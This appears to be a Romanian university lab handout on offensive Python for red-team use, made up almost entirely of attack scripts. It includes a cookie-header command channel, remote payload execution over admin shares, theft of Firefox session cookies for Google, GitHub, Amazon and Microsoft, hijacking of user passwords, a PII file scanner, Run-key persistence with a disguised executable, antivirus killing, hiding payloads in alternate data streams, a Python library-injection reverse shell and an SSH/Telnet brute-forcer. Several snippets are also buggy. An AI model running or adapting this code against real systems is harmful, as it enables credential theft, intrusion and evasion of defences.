Laborator 3
Dezvoltare aplicații pentru RBW

Comunicarea prin canale cifrate

După cum știți deja în Python există mai multe biblioteci care oferă suport pentru operații de criptare sau de decriptare. Este evident că într-un caz real nici un atacator adevărat nu va utiliza aceste biblioteci ci se va baza pe abordări proprii pentru securizarea canalului de căutare. Oricum ar fi comunicarea prin canale criptate este necesară și ca atare vom prezenta un exemplu simplu de componente client server care să ofere aceste abilități utilizând AES-ul pentru cifrarea canalului. Vom utiliza funcționalități din modulul pycryptodome. Mai jos avem prezentat clientul care va trimite un mesaj.

```
import socket, os
from Crypto.Cipher import AES

host = "127.0.0.1"
port = 1338

key = b"cheie pe 16 biti"

def encrypt(data,key,iv):
    # completarea datelor - padding
    data += " "*(16 - len(data) % 16)
    cipher = AES.new(key,AES.MODE_CBC,iv)
    return cipher.encrypt(bytes(data,"utf-8"))
message = "Test"
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((host,port))
    iv = os.urandom(16)
    s.send(iv)
    s.send(bytes([len(message)]))
    encrypted = encrypt(message,key,iv)
    print("Am trimis cifrat %s" % encrypted.hex())
    s.sendall(encrypted)
```

După cum se observă s-a folosit de test adresa locală - evident că trebuie modificat fie ca modul/funcție fie ca aplicație de sine stătătoare și să primească adresa, cheia și mesajul ca parametri (în linie de comandă sau nu).

```
import socket
from Crypto.Cipher import AES

host = "127.0.0.1"
port = 1338

key = b"cheie pe 16 biti"
def decrypt(data,key,iv):
    cipher = AES.new(key,AES.MODE_CBC,iv)
    return cipher.decrypt(data)
with socket.socket(socket.AF_INET,socket.SOCK_STREAM) as s:
    s.bind((host,port))
    s.listen()
    (conn, addr) = s.accept()
    with conn:
        while True:
            iv = conn.recv(16)
            length = conn.recv(1)     # se presupun mesaje scurte
            data = conn.recv(1024)
            if not data:
                break
            print("Am receptionat: %s"%decrypt(data,key,iv).decode("utf-8")[:ord(length)])
```

Serverul va trebui să fie la fel modificat pentru utilizare extinsa.

Acum putem trece la ceva o idee mai avansat și anume utilizarea tunelurilor în rețelele de comunicație. Pentru simplitate vom prezenta o metodă potrivită pentru serverele de web și anume transmitere de date și

control printr-un tunel bazat pe cookie. Mai jos avem prezentat codul pentru client unde trebuie să adăugam la proiect și modulul requests pentru utilizare.

```
import requests
from base64 import b64encode,b64decode

def AjutorBucatar(url,data):
	response = requests.get(url,headers={'Prajiturica!': b64encode(data)})
	print(b64decode(response.content))
url = "http://IP_server:Port_Server"
data = bytes("Mesaj de la bucatar","utf-8")
AjutorBucatar(url,data)
```

Se observă că pentru a nu ieși în evidență pe o mașină care menține un server web s-a folosit tot codarea Base64 care este comună și la prăjiturelele cifrate în rest nimic deosebit.
Pentru programul pentru server dacă face fițe este nevoie de httpserver dar ar trebui să nu fie cazul.

```
from http.server import BaseHTTPRequestHandler, HTTPServer
from base64 import b64decode,b64encode

class Bucatar(BaseHTTPRequestHandler):
	def do_GET(self):
		# Parse headers
		data = b64decode(self.headers["Cookie"]).decode("utf-8").rstrip()
		print("Am primit: %s"%data)
		if data == "Mesaj de la bucatar"
:			response = b64encode(bytes("Am primit","utf-8"))
			self.send_response(200)
			self.end_headers()
			self.wfile.write(response)
		else:
			self.send_error(404)
if __name__ == "__main__":
	hostname = ""
	port = #la alegere dar sa fie din zona comuna a serverelor web :)
	webServer = HTTPServer((hostname,port),Bucatar)
	try:
		webServer.serve_forever()
	except KeyboardInterrupt:
		pass
	webServer.server_close()
```

Se observă faptul că este vorba despre un server simplu care răspunde numai la cereri simple și se uită după un mesaj particular și anume "Mesaj de la bucatar" și doar atunci face ceva.

Gadilirea zonelor comune ale admistratorului windows

Pentru acest exemplu este necesar python >= 3.9.7

```
import os, winreg, shutil

def enableAdminShare(computerName):
	regpath = "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"
	winreg.ConnectRegistry(computerName, winreg.HKEY_LOCAL_MACHINE)
	winreg.OpenKey(reg, regpath, 0, access=winreg.KEY_WRITE)
	winreg.SetValueEx(key, "LocalAccountTokenFilterPolicy", 0, winreg.REG_DWORD, 1)
	# este necesar restartul
def accessAdminShare(computerName, executable):
	remote = r"\\" + computerName + "\c$"
	local = "Z:"
	remotefile = local + "\\" + executable
	os.system("net use " + local + " " + remote)
	shutil.move(executable, remotefile)
	os.system("python " + remotefile)
	os.system("net use " + local + " /delete")

accessAdminShare(os.environ["COMPUTERNAME"], r"vizitator.py")
```

Se observă că îi trimitem un program vizitator :). Acest lucru este posibil deoarece prin program am activat admin shares și am accesat de la distanță toate zonele comune ale administratorului care sunt disponibile. Astfel programul deschide un admin share, copie un executabil, în cazul nostru vizitator, îl execută și apoi îl șterge de pe disc.
Programul vizitator de test poate fi ceva de genul:

```
import os
print("Execut ce vreu eu")
```

Deturnarea (hijacking) prajiturelilor

Prăjiturelile sesiunilor web sunt implict păstrate în zona utilizatorului și astfel pot fi accesate dacă există nivel de acces similar acestuia. Informațiile despre ele sunt păstrate într-o bază de date SQLite numită cookies.sqlite din tabela cu numele moz_cookies. Prin analiza aceste baze de date devine posibil să se localizeze și să se extragă acele cookies asociate cu servicii comune (de ex. Amazon, Google, Microsoft, Facebook și Github). Astfel prăjiturelele incluse în dicționarul numit cookies vor conține informațiile de autentificare ale looser-ului pentru respectivele servicii. Mai jos aveți un exemplu simplu care face acest lucru.

```
import sqlite3,os

profile = "jpb273b6.default-release"
firefoxPath =
os.path.join( "C:\\Users\\hepos\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles",profile,"cookies.sqlite")
#evident ca pe linux va fi ceva de genul /home/nume_cont/.mozilla/firefox/default-esr/
conn = sqlite3.connect(firefoxPath)
c = conn.cursor()
c.execute("SELECT * FROM moz_cookies")

data = c.fetchall()
cookies = {
    ".amazon.com": ["aws-userInfo", "aws-creds"],
    ".google.com": ["OSID", "HSID", "SID", "SSID", "APISID", "SAPISID", "LSID"],
    ".microsoftonline.com": ["ESTSAUTHPERSISTENT"],
    ".facebook.com": ["c_user","cs"],
    ".onelogin.com": ["sub_session_onelogin.com"],
    ".github.com": ["user_session"],
    ".live.com": ["RPSSecAuth"],
}
for cookie in data:
    for domain in cookies:
        if cookie[4].endswith(domain) and cookie[2] in cookies[domain]:
            print("%s %s %s" % (cookie[4], cookie[2],cookie[3][:20]))
```

Viata grea pentru (loo)user

Din Python se pot face și astfel de mărunțișuri (dar care pot face probleme majore unui furnizor de servicii) cum ar fi ștergerea accesului la contul utilizatorului. Se poate face soft - îi schimb parola sau hard îi șterg contul. Din nefericire merge foarte bine și pe Linux. Această acțiune este posibilă deoarece Python-ul are toate bibliotecile necesare. Codul prezentat mai jos merge (desigur cu drepturile necesare) pe ambele sisteme de operare.

```
import platform

def setWindowsPassword(username,password):
    from win32com import adsi
    ads_obj = adsi.ADsGetObject("WinNT://localhost/%s,user"%username)
    ads_obj.Getinfo()
    ads_obj.SetPassword(password)
def setLinuxPassword(username,password):
    os.system('echo -e "newpass\nnewpass" | passwd %s' % username)
```

```
def changeCriteria(username):
    if username in ["testuser","user1"]:
        return True
    else:
        return False
if platform.system() == "Windows":
    import wmi
    w = wmi.WMI()
    for user in w.Win32_UserAccount():
        username = user.Name
        if changeCriteria(username):
            print("Schimb Parola!!: %s"%username)
            setWindowsPassword(username,"newpass")
else:
    import pwd
    for p in pwd.getpwall():
        if p.pwd_uid == 0 or p.pw_uid > 500:
            username = p.pwd_name
            if changeCriteria(username):
                print("Schimb Parola!!: %s"%username)
                setLinuxPassword(username,"newpass")
```

Se observă că se verifică care este sistemul de operare gazdă apoi se schimbă parola.

Totuși ar fi bine să putem să descoperim rapid care conturi există pe mașina țintă. Microsoft a fost gândit ca un sistem de operare pentru administratori slab pregătiți în majoritatea cazurilor (deci mai prost plătiți) iar pentru aceasta a dezvoltat multe instrumente care automatizează și ascund operații complexe. Unul dintre ele este interfața de administrare Windows Management Instrumentation (WMI) care este de fapt tot o colecție de script-uri. Evident ca Python ne pune la dispoziție un modul (numit tot wmi - poate îl instalați totuși!) pentru a accesa direct aceasta interfață.

```
import os, wmi

w = wmi.WMI()
# aflu lista de administratori sistem
admins = None
for group in w.Win32_Group():
    if group.Name == "Administrators":
        admins = [a.Name for a in group.associators(wmi_result_class="Win32_UserAccount")]
# afisarea conturilor de utilizatori de pe masina tinta
for user in w.Win32_UserAccount():
    print("Nume Utilizator: %s" % user.Name)
    print("Administrator: %s" % (user.Name in admins))
    print("Dezactivat: %s" % user.Disabled)
    print("Local: %s" % user.LocalAccount)
    print("Se poate modifica parola: %s" % user.PasswordChangeable)
    print("Parola expira: %s" % user.PasswordExpires)
    print("Este necesara parola: %s" % user.PasswordRequired)
    print("\n")
# Afiseaza politica de parole a windows-ului
print("Politica de parole:")
print(os.system("conturi in retea"))
```

Se observă că se obțin informații despre politicile de parole care ușurează uneori ghicirea parolei din sistem.

Analiza primara de fisiere in windows

Python (vezi anul II) poate utiliza expresii regulate peste un sistem de fișiere. Acest lucru ne permite o abordare brută dar destul de primitivă dacă doresc să caut un anumit set de informații personale prin fișierele sistem sau ale looser-ului. Expresiile regulate din cazul exemplului de mai jos sunt utilizate pentru a cauta adrese de e-mail, numere de telefon, numere de securitate socială în fișiere MS Office. Nu uitați că regex-ul este puturos așa că mai bine un mic calcul funcțional dacă am nevoie de viteză.

```
import os, re
from zipfile import ZipFile
```

```
email_regex = '[a-z0-9]+[\._]?[a-z0-9]+[@]\w+[.]\w{2,3}'
phone_regex = '[()*[0-9]{3}[)]*-[0-9]{3}-[0-9]{4}'
ssn_regex = '[0-9]{3}-[0-9]{2}-[0-9]{4}'
regexes = [email_regex, phone_regex, ssn_regex]

def findPII(data):
	matches = []
	for regex in regexes:
		m = re.findall(regex, data)
		matches += m
	return matches
def printMatches(filedir, matches):
	if len(matches) > 0:
		print(filedir)
		for match in matches:
			print(match)
def parseDocx(root, docs):
	for doc in docs:
		matches = None
		filedir = os.path.join(root, doc)
		with ZipFile(filedir, "r") as zip:
			data = zip.read("word/document.xml")
			matches = findPII(data.decode("utf-8"))
		printMatches(filedir, matches)
def parseText(root, txts):
	for txt in txts:
		filedir = os.path.join(root, txt)
		with open(filedir, "r") as f:
			data = f.read()
		matches = findPII(data)
		printMatches(filedir, matches)
txt_ext = [".txt", ".py", ".csv"]
def findFiles(directory):
	for root, dirs, files in os.walk(directory):
		parseDocx(root, [f for f in files if f.endswith(".docx")])
		for ext in txt_ext:
			parseText(root, [f for f in files if f.endswith(ext)])
directory = os.path.join(os.getcwd(), "Documente")
findFiles(directory)
```

Cum rămâne agățat un sistem?

Am discutat că ar trebui ca un payload să rămână (persistența acestuia) activ în sistemul țintă chiar după o repornire. Evident că în cazul amicului Windows este o treaba simplă - vezi observațiile de la wni.

Ca rezultat se poate modifica rapid zona de autorun din registrul Windows-ului pentru a ne asigura relansarea automată pentru aplicațiile injectate (și uite așa apar zombii). Pentru aceasta se va folosi modul winreg din Python. Mai întâi se creează un executabil Windows dintr-un fișier Python cu ajutorul lui pyinstaller (poate totuși îl adaugați la proiect).

```
import PyInstaller.__main__
import shutil
import os

filename = "baiatrau.py" #ce puneti voi in payload - treaba voastra
exename = "baiatbun.exe"
icon = "Firefox.ico" #sau ceva la fel de folost
```

```
pwd = os.getcwd()
usbdir = os.path.join(pwd,"USB")
if os.path.isfile(exename):
	os.remove(exename)
# Creareaa unui executabil din programul Python
PyInstaller.__main__.run([
	"baiatrau.py",
	"--onefile",
	"--clean",
	"--log-level=ERROR",
	"--name="+exename,
	"--icon="+icon
])
# curatenie dupa executia lui Pyinstaller
shutil.move(os.path.join(pwd,"dist",exename),pwd)
shutil.rmtree("dist")
shutil.rmtree("build")
shutil.rmtree("__pycache__")
os.remove(exename+".spec")
```

Acum că avem executabilul creat trebuie să îl introducem în zona de execuție automată din registrul Windows-ului. Aici avem nevoie de modulul winreg (python >=3.9.7)

```
import os, shutil, winreg

filedir = os.path.join(os.getcwd(),"Temp")
filename = "baiatbun.exe"
filepath = os.path.join(filedir,filename)
if os.path.isfile(filepath):
	os.remove(filepath)
# se utilizeaza BuildExe pentru a crea executabilul atacator
os.system("python BuildExe.py")
# se mută executabilul creat în zona de interes
shutil.move(filename,filedir)
# cheile implicite din zona de autorun a registrului Windows
# HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
# HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
# HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
# HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
regkey = 1
if regkey < 2:
	reghive = winreg.HKEY_CURRENT_USER
else:
	reghive = winreg.HKEY_LOCAL_MACHINE
if (regkey % 2) == 0:
	regpath = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
else:
	regpath = "SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
# adauga in registrul de executare automata
reg = winreg.ConnectRegistry(None,reghive)
key = winreg.OpenKey(reg,regpath,0,access=winreg.KEY_WRITE)
winreg.SetValueEx(key,"SecurityScan",0,winreg.REG_SZ,filepath)
```

Deturnarea fluxului de execuție

În MITRE ATT&CK framework sunt prezentate vreo zece abordări. O parte se referă la prietenul Windows. Deoarece am văzut că am acces la registrul Windows-ului devine clar că se pot înlocui căile implicite către unele executabile cu altele spre aplicațiile instalate de mine care ulterior să apeleze și aplicația inițială pentru a nu da de bănuit.

```
import os, winreg

def readPathValue(reghive, regpath):
	reg = winreg.ConnectRegistry(None, reghive)
	key = winreg.OpenKey(reg, regpath, access=winreg.KEY_READ)
	index = 0
	while True:
		val = winreg.EnumValue(key, index)
		if val[0] == "Path":
			return val[1]
		index += 1
def editPathValue(reghive, regpath, targetdir):
	path = readPathValue(reghive, regpath)
	newpath = targetdir + ";" + path
	reg = winreg.ConnectRegistry(None, reghive)
	key = winreg.OpenKey(reg, regpath, access=winreg.KEY_SET_VALUE)
	winreg.SetValueEx(key, "Path", 0, winreg.REG_EXPAND_SZ, newpath)
# schimbam calea utilizatorului
# reghive = winreg.HKEY_CURRENT_USER
# regpath = "Environment"
targetdir = os.getcwd()
# editPathValue(reghive,regpath,targetdir)
# modific calea la nivel sistem
reghive = winreg.HKEY_LOCAL_MACHINE
regpath = "SYSTEM\CurrentControlSet\Control\Session Manager\Environment"
editPathValue(reghive, regpath, targetdir)
```

Ce putem face cu unele programe care ne deranjează :)

Pe multe sisteme și în multe cazuri respectivele aplicații rezidente (antivirus antimalware sisteme de urmărire și jurnalizare etc) pot fi omorâte pe tăcute astfel încât să îmi pot face în liniște treaba. Ba dacă extind unele aplicații de aici se pot schimba niște drepturi astfel încât să le omor și pe cele care teoretic au masuri suplimentare de protecție împotriva acestei abordări.

```
import winreg,wmi,os,signal
av_list = ["notepad++"]
# sterge chei din registru
reghives = [winreg.HKEY_LOCAL_MACHINE, winreg.HKEY_CURRENT_USER]
regpaths =
["SOFTWARE\Microsoft\Windows\CurrentVersion\Run","SOFTWARE\Microsoft\Windows\CurrentVersio
n\RunOnce"]
for reghive in reghives:
	for regpath in regpaths:
		reg = winreg.ConnectRegistry(None,reghive)
		key = winreg.OpenKey(reg,regpath,0,access=winreg.KEY_READ)
		try:
			index = 0
			while True:
				val = winreg.EnumValue(key,index)
				for name in av_list:
```

```
                        if name in val[1]:
                            print("Sterg cheia din zona de executare automata" % val[0])
                            key2 = winreg.OpenKey(reg,regpath,0,access=winreg.KEY_SET_VALUE)
                            winreg.DeleteValue(key2,val[0])
                    index += 1
            except OSError:
                {}
# gaseste si omoara procese
f = wmi.WMI()
for process in f.Win32_Process():
    for name in av_list:
        if name in process.Name:
            os.kill(int(process.processId),signal.SIGTERM)
```

Se observa că le caut (aplicațiile din listă) le șterg din zona de pornire automată aflata în registrul Windows și apoi le omor în sesiunea curentă.
În lista de aplicații am considerat notepad++ ca fiind țintă tocmai pentru a perturba aplicațiile reale.

Cum ascundem un program rău

Pentru a evita supraîncarcări continui multe sisteme de siguranță utilizează numai o listă de directoare pentru căutări curente și astfel dacă ascundem în altă parte încărcăturile noastre (payload) există șansa ca să treacă uneori mult timp până acestea să fie detectate. Pentru aceasta se pot utiliza și Alternate Data Streams (ADS) care sunt atribute de fișiere specifice NTFS. Acestea permit unui singur fișier să conțină diferite fluxuri de date sau chiar bucăți (chunk) de date. În aceasta situație numai șirul primar de date este afișat în lista directoarelor. Mai jos aveți un exemplu simplu care permite interacțiunea cu un conținut păstrat în ADS.

```
import os
def buildADSFilename(filename,streamname):
    return filename+":"+streamname
decoy = "baiatbun.txt"
resultfile = buildADSFilename(decoy,"rezultat.txt")
commandfile = buildADSFilename(decoy,"comenzi.txt")
# executarea comenzii
with open(commandfile,"r") as c:
    for line in c:
        str(os.system(line + " >> " + resultfile))
# lansam executabilul
exefile = "baiatrau.exe"
exepath = os.path.join(os.getcwd(),buildADSFilename(decoy,exefile))
os.system("apel creare "+exepath)
```

Cum pot obține mai multe drepturi (privilege escalation)?

Deși sunt multe metode acesta este doar un curs introductiv așa că ma voi limita la exemple simple. Cea mai banală abordare pornește de la faptul că Windows-ul suportă lansarea de script-uri particularizate în momentul intrării fiecărui utilizator în sistem. Evident că acest lucru poate fi folosit și pentru creșterea drepturilor la nivel de sistem pentru respectivul utilizator. După cum era deja de așteptat se va utiliza tot minunatul registru (oala comună) al Windows-ului. Mai jos aveți un exemplu despre cum se poate realiza asa ceva.

```
import os, shutil, winreg
filedir = os.path.join(os.getcwd(),"Temp")
filename = "baiatbun.exe"
filepath = os.path.join(filedir,filename)
if os.path.isfile(filepath):
    os.remove(filepath)
# cream executabilul necuviincioa :)
os.system("python BuildExe.py")
```

```
# mutam executabilul in directorul dorit
shutil.move(filename,filedir)
# cheyle pentru script-ul apelat la intrarea in sistem
#reghive = winreg.HKEY_CURRENT_USER
#regpath = "Environment"
reghive = winreg.HKEY_USERS
regpath = "S-1-5-21-524849353-310586374-791561826-1002\Environment"
# adaugarea in registru a scriptului care trebuie executa la intrarea in sistem
reg = winreg.ConnectRegistry(None,reghive)
key = winreg.OpenKey(reg,regpath,0,access=winreg.KEY_WRITE)
winreg.SetValueEx(key,"UserInitMprLogonScript",0,winreg.REG_SZ,filepath)
```

Se observă că maniera de creștere a drepturilor trebuie să o dezvoltați voi (mai săpați un pic :))

Cum introducem (injection) ceva în bibliotecile Python (tot îl iubește lumea)?

După cum știm deja în Python nu este necesar să importam bibliotecile utilizând calea absoluta ci numai numele și apoi Python caută într-o serie de locații predefinite o copie a respectivei biblioteci. Aceasta abordare poate fi ușor exploatată dacă un atacator poate introduce o versiune modificată a unei librarii mai sus în arborele de căutare și astfel aceasta va fi utilizată.

```
import bibliotecabuna
print("Hei hei")
```

Codul de mai sus arata un exemplu de script vulnerabil. El importa bibliotecabuna ceea ce face ca Python să caute acel nume în sistem. Iar în bibliotecabuna.py putem avea de exemplu:

```
import socket
import subprocess
import os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1",1453))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh","-i"])
```

Cum pot descoperi conturi implicite prin acces ssh

Este o metodă brutală ușor de detectat dacă se respectă în configurări tot ce discutam la curs. Se bazează pe ssh și telnet (moartea în casa) și este bazată pe metoda dicționarului (se găsesc dacă căutați dicționare de mari dimensiuni) care deși este zgomotoasă și pare depășită fără a mai aplica combinații cu tehnici de IA din nefericire datorită comportamentului băieților din Idiocracy poate avea rezultate spectaculoase la nivel de utilizator comun.

```
import telnetlib
import paramiko
def SSHLogin(host, port, username, password):
    try:
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        ssh.connect(host, port=port, username=username, password=password);
        ssh_session = ssh.get_transport().open_session()
        if ssh_session.active:
            print("Am intrat pe sistemul %s:%s cu utilizatorul %s si parola %s" % (host, port, username,
password))
    except:
        print("Intrare esuata %s %s" % (username, password))
    ssh.close()
def TelnetLogin(host, port, username, password):
    h = "http://" + host + ":" + port + "/"
    tn = telnetlib.Telnet(h)
    tn.read_until("login: ")
```

```
        tn.write(username + "\n")
        tn.read_until("Parola: ")
        tn.write(password + "\n")
        try:
                result = tn.expect(["Last login"])
                if (result[0] > 0):
                        print(
                                "Telnet s-a conectat %s:%s cu utilizatorul %s si parola %s" % (host, port, username,
password))
                tn.close()
        except EOFError:
                print("Intrare esuata %s %s" % (username, password))
host = "127.0.0.1"
port = 2200
with open("dictionar_parole.txt", "r") as f:
        for line in f:
                vals = line.split()
                username = vals[0].strip()
                password = vals[1].strip()
                SSHLogin(host, port, username, password)
                TelnetLogin(host, port, username, password)
```

Se observă că se folsește modulul paramiko pentru a gestiona conexiunea ssh. Acesta permite să se testeze întâi dacă conexiunea este activă. Pentru telnet se va utiliza modulul telnetli. Aici deoarece nu avem un test echivalent pentru succes atunci se va căuta un șir conținând “last login” care apare pe unele sisteme linux odată executată cu succes intrarea în sistem fapt care este destul de limitativ. Abordarea poate fi ușor extinsă pentru a suporta autentificare prin intermediul unei pagini web.

Teme Rescrieți exemplele utilizând, cpp sau dot net în cazul windows-ului (pentru linux este mai complicat dar fără un selinux activ și bine configurat nu este imposibil